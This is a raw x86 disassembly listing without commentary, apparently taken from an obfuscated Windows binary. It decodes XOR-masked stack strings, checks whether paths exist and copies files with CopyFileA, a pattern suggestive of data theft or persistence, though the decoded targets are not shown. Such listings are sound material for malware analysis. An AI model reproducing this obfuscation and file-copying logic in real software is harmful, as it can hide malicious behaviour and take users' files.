mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x8b0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x8b0], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x8b0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1100]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x8a0], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x19
cmp dword [ecx + 0x14], 0xf
jbe 0x40c951
mov ecx, dword [ecx]
cmp dword [ebp - 0xad0], 0xf
lea eax, [ebp - 0xae4]
push 0
cmova eax, dword [ebp - 0xae4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x1100]
call fcn.00402df0
test esi, esi
je 0x40c98c
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x18], 0xb6f6cdc9
mov dword [ebp - 0x14], 0x8b239fb5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x940], eax
mov dword [ebp - 0x93c], ecx
mov dword [ebp - 0x18], 0x21cff487
mov dword [ebp - 0x14], 0x7aad2792
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x938], eax
mov dword [ebp - 0x934], ecx
mov dword [ebp - 0x18], 0xab2a01c4
mov dword [ebp - 0x14], 0xa1bcab46
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x930], eax
mov dword [ebp - 0x92c], ecx
mov dword [ebp - 0x18], 0xcb0b25b7
mov dword [ebp - 0x14], 0xfdaf3e18
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x924], ecx
mov dword [ebp - 0x18], 0x96417680
mov dword [ebp - 0x14], 0x10c4b099
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x920], eax
mov dword [ebp - 0x91c], ecx
mov dword [ebp - 0x18], 0xd5d93a8a
mov dword [ebp - 0x14], 0x19127bfa
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x918], eax
mov dword [ebp - 0x914], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xe52d17e9
mov dword [ebp - 0x14], 0x7eadd2b7
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd5d93a8a
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], 0x19127bfa
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x940]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x940], xmm1
movaps xmm1, xmmword [ebp - 0x930]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x930], xmm1
movaps xmm1, xmmword [ebp - 0x920]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x920], xmm1
lea eax, [ebp - 0x940]
push eax
lea ecx, [ebp - 0x1118]
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x18], 0x9bcbb3d4
mov dword [ebp - 0x14], 0xf901ae9a
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3c0], ecx
mov dword [ebp - 0x3bc], edx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3c0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3c0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x3c0], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xacc]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1118]
call fcn.00402df0
cmp dword [ebp - 0xab8], 0xf
lea eax, [ebp - 0xacc]
cmova eax, dword [ebp - 0xacc]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x1d
mov byte [ebp - 4], 0x1c
call fcn.004e6d70
add esp, 0x18
test al, al
je 0x40cd95
mov dword [ebp - 0x18], 0xaafa8fc9
lea edx, [ebp - 0xa28]
mov dword [ebp - 0x14], 0x9c2899b5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x890], eax
mov dword [ebp - 0x88c], ecx
mov dword [ebp - 0x18], 0xed6cd94
mov dword [ebp - 0x14], 0x66bb199f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x888], eax
mov dword [ebp - 0x884], ecx
mov dword [ebp - 0x18], 0xb72a0dc2
mov dword [ebp - 0x14], 0xacaeaf6d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x880], eax
mov dword [ebp - 0x87c], ecx
mov dword [ebp - 0x18], 0xc71b689b
mov dword [ebp - 0x14], 0x89c15b12
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x874], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x890]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x890], xmm1
movaps xmm1, xmmword [ebp - 0x880]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x890]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1130]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x880], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x1e
cmp dword [ecx + 0x14], 0xf
jbe 0x40cd5a
mov ecx, dword [ecx]
cmp dword [ebp - 0xab8], 0xf
lea eax, [ebp - 0xacc]
push 0
cmova eax, dword [ebp - 0xacc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1130]
call fcn.00402df0
test esi, esi
je 0x40cd95
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x18], 0xb6f6cdc9
mov dword [ebp - 0x14], 0x8b239fb5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9d0], eax
mov dword [ebp - 0x9cc], ecx
mov dword [ebp - 0x18], 0x21cff487
mov dword [ebp - 0x14], 0x7aad2792
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9c8], eax
mov dword [ebp - 0x9c4], ecx
mov dword [ebp - 0x18], 0xab2a01c4
mov dword [ebp - 0x14], 0xafbdb646
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x9bc], ecx
mov dword [ebp - 0x18], 0xcb152f8e
mov dword [ebp - 0x14], 0xfaab750f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9b8], eax
mov dword [ebp - 0x9b4], ecx
mov dword [ebp - 0x18], 0xe52d7986
mov dword [ebp - 0x14], 0x7eadd2b7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9b0], eax
mov dword [ebp - 0x9ac], ecx
mov dword [ebp - 0x18], 0xd5d93a8a
mov dword [ebp - 0x14], 0x19127bfa
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9a8], eax
mov dword [ebp - 0x9a4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xe52d17e9
mov dword [ebp - 0x14], 0x7eadd2b7
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd5d93a8a
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], 0x19127bfa
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x9d0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x9d0], xmm1
movaps xmm1, xmmword [ebp - 0x9c0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x9c0], xmm1
movaps xmm1, xmmword [ebp - 0x9b0]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x9b0], xmm1
lea eax, [ebp - 0x9d0]
push eax
lea ecx, [ebp - 0x1160]
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x18], 0x9bcbb3d4
mov dword [ebp - 0x14], 0xf901ae9a
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3d0], ecx
mov dword [ebp - 0x3cc], edx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3d0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x3d0], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xab4]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1160]
call fcn.00402df0
cmp dword [ebp - 0xaa0], 0xf
lea eax, [ebp - 0xab4]
cmova eax, dword [ebp - 0xab4]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x22
mov byte [ebp - 4], 0x21
call fcn.004e6d70
add esp, 0x18
test al, al
je 0x40d19c
mov dword [ebp - 0x18], 0xaafa8fc9
lea edx, [ebp - 0xa28]
mov dword [ebp - 0x14], 0x9c2899b5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x18], 0xfcbcd94
mov dword [ebp - 0x14], 0x78b12091
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x864], ecx
mov dword [ebp - 0x18], 0xb3611ac2
mov dword [ebp - 0x14], 0xc0a1a96a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x860], eax
mov dword [ebp - 0x85c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x858], eax
mov dword [ebp - 0x854], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x870]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x870], xmm1
movaps xmm1, xmmword [ebp - 0x860]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x870]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1178]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x860], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x23
cmp dword [ecx + 0x14], 0xf
jbe 0x40d163
mov ecx, dword [ecx]
cmp dword [ebp - 0xaa0], 0xf
lea eax, [ebp - 0xab4]
push 0
cmova eax, dword [ebp - 0xab4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1178]
call fcn.00402df0
test esi, esi
je 0x40d19c
mov byte [ebp - 0x31], 1
jmp 0x40d1b1
cmp byte [ebp - 0x32], 0
jne 0x40d1b1
push ecx
lea ecx, [ebp - 0xa28]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xab4]
call fcn.00402df0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xacc]
call fcn.00402df0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xae4]
call fcn.00402df0
mov dword [ebp - 0x18], 0xbed7b7c9
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0x912394ae
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x18], 0x7dbbe083
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3e0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xcd0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x3e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0xcd0]
cmp dword [ebp - 0xcbc], 0xf
push 0
cmova eax, dword [ebp - 0xcd0]
push eax
call edi
test eax, eax
je 0x40d63c
mov dword [ebp - 0x18], 0xb3efcdc9
mov dword [ebp - 0x14], 0x9a2e8fba
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd6c], ecx
mov dword [ebp - 0xd70], eax
mov dword [ebp - 0x18], 0x21c9f78e
mov dword [ebp - 0x14], 0x48b42593
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd64], ecx
mov dword [ebp - 0xd68], eax
mov dword [ebp - 0x18], 0xbc2100ea
mov dword [ebp - 0x14], 0xa6aeb47a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd5c], ecx
mov dword [ebp - 0xd60], eax
mov dword [ebp - 0x18], 0xcf1e1a9c
mov dword [ebp - 0x14], 0xfd9d3e11
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd54], ecx
mov dword [ebp - 0xd58], eax
mov dword [ebp - 0x18], 0x8b587685
mov dword [ebp - 0x14], 0xcc8bad4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd4c], ecx
mov dword [ebp - 0xd50], eax
mov dword [ebp - 0x18], 0xbaab4ad5
mov dword [ebp - 0x14], 0x7c7e129c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd44], ecx
mov dword [ebp - 0xd48], eax
mov dword [ebp - 0x18], 0x5d087748
mov dword [ebp - 0x14], 0x7442d70a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd3c], ecx
mov dword [ebp - 0xd40], eax
mov dword [ebp - 0x18], 0x227dac2c
mov dword [ebp - 0x14], 0x53bfeed8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xd34], ecx
lea ecx, [ebp - 0xd70]
mov dword [ebp - 0xd38], eax
call fcn.00412710
push eax
lea ecx, [ebp - 0x1190]
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x25
mov dword [ebp - 0x18], 0x9bcbb3d4
mov dword [ebp - 0x14], 0xf901ae9a
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3f0], ecx
mov dword [ebp - 0x3ec], edx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3f0]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
lea eax, [ebp - 0x3f0]
push eax
movaps xmmword [ebp - 0x3f0], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xb2c]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1190]
call fcn.00402df0
cmp dword [ebp - 0xb18], 0xf
lea eax, [ebp - 0xb2c]
cmova eax, dword [ebp - 0xb2c]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x28
mov byte [ebp - 4], 0x27
call fcn.004e6d70
add esp, 0x18
test al, al
je 0x40d61e
mov dword [ebp - 0x18], 0xbef797c9
lea edx, [ebp - 0xcd0]
mov dword [ebp - 0x14], 0x912394ae
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x850], eax
mov dword [ebp - 0x84c], ecx
mov dword [ebp - 0x18], 0xde4e083
mov dword [ebp - 0x14], 0x7dbe298c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x848], eax
mov dword [ebp - 0x844], ecx
mov dword [ebp - 0x18], 0xf73c0ccb
mov dword [ebp - 0x14], 0xaea0b573
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x83c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x838], eax
mov dword [ebp - 0x834], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x850]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x850], xmm1
movaps xmm1, xmmword [ebp - 0x840]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x850]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x11a8]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x840], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x29
cmp dword [ecx + 0x14], 0xf
jbe 0x40d5e5
mov ecx, dword [ecx]
cmp dword [ebp - 0xb18], 0xf
lea eax, [ebp - 0xb2c]
push 0
cmova eax, dword [ebp - 0xb2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x11a8]
call fcn.00402df0
test esi, esi
je 0x40d61e
mov byte [ebp - 0x31], 1
jmp 0x40d62d
push ecx
lea ecx, [ebp - 0xcd0]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xb2c]
call fcn.00402df0
mov dword [ebp - 0x18], 0xbefea5c9
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0x8b2592af
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x18], 0x18d2fea5
mov dword [ebp - 0x14], 0x14d83290
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2c0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xce8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x2c0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0xce8]
cmp dword [ebp - 0xcd4], 0xf
push 0
cmova eax, dword [ebp - 0xce8]
push eax
call edi
test eax, eax
je 0x40da1b
mov dword [ebp - 0x18], 0xbafdcdc9
mov dword [ebp - 0x14], 0x9c288eba
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x830], eax
mov dword [ebp - 0x82c], ecx
mov dword [ebp - 0x18], 0x1edace94
mov dword [ebp - 0x14], 0x7aad299d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x828], eax
mov dword [ebp - 0x824], ecx
mov dword [ebp - 0x18], 0xb3611ad3
mov dword [ebp - 0x14], 0xc0a1a96a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x81c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x818], eax
mov dword [ebp - 0x814], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
